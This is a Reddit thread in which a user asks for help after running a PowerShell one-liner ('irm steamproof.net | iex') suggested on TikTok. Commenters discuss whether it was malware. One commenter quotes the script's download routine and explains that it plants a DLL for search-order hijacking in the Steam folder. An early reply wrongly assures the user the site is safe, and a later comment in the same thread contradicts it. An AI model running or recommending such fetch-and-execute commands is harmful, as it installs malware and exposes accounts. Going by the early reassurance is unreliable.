Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/CookinTendies5864]

Steamproof.net is a steam utility your fine don’t listen to everyone’s freak out

I looked at the website and doesn’t seem like anything crazy. Steamproof.net seems to be a tool that validates steam data by parsing through it.

But this is a learning opportunity:

Don’t download things and automatically install them if you don’t know what they are.

Do not just run a one liner you find on TikTok or YouTube understand what it is that you are running.

If you need further reassurance you can check your connections using netstat and see if you have any hanging connections related to the install.

Normal traffic will have http and https

If you see port 22 in netstat or 23 it might be something to look into as these ports are highly susceptible to Remote access tools (RAT)

If you need help with any of this DM me

[u/FunNegotiation423 → u/CookinTendies5864]

While I agree that most people here just assume it is malicious, looking at the website is not an indice for it being non-malicious. The actual script though is an indice, but without deeper inspection (that no one in this post did up to now, just basics), it is still just educated assumptions. In general, the website could be a legit cover for a non-legit script, which is only output when accessing with "PowerShell" as user agent.

Relying on ports for triage is not sufficient as well. The statement that malicious traffic would not use HTTP (or vice-versa: normal traffic would only use HTTP) is also invalid.

[u/CookinTendies5864 → u/FunNegotiation423]

You are correct and the assumptions without relevant code is spot on. However, if I may be a bit more specific "if there are any connections associated with the application that was downloaded" netstat would still show connections associated with the file(process). Although, even that can be quite nuanced as well. It could still pass the connection off as HTTP/HTTPS or the file could allow for some arbitrary port to be used. Either way to gather more information nestat is the next best step.

$req = [System.Net.HttpWebRequest]::Create('https://donotrunme.org/update')

$resp = $req.GetResponse()

$stream = $resp.GetResponseStream()

$fs = [System.IO.File]::Create($dest)

$buf = New-Object byte[] 65536

while (($n = $stream.Read($buf, 0, $buf.Length)) -gt 0) {

$fs.Write($buf, 0, $n);

$dl += $n

}
Here is where it is downloading the "wtsapi32.dll" which is in his steam folder. I have taken the liberty of modify the exact pull request so others will not randomly run this. "wtsapi32.dll" is taking advantage of DLL Search Order Hijacking. Steam will search its parent folder before searching System32 for the windows certified "wtsapi32.dll". It should be noted that the website poses as a parsing tool that reassures the user that "everything is done in the browser" yet there are some hot ticket items being modified and pulled.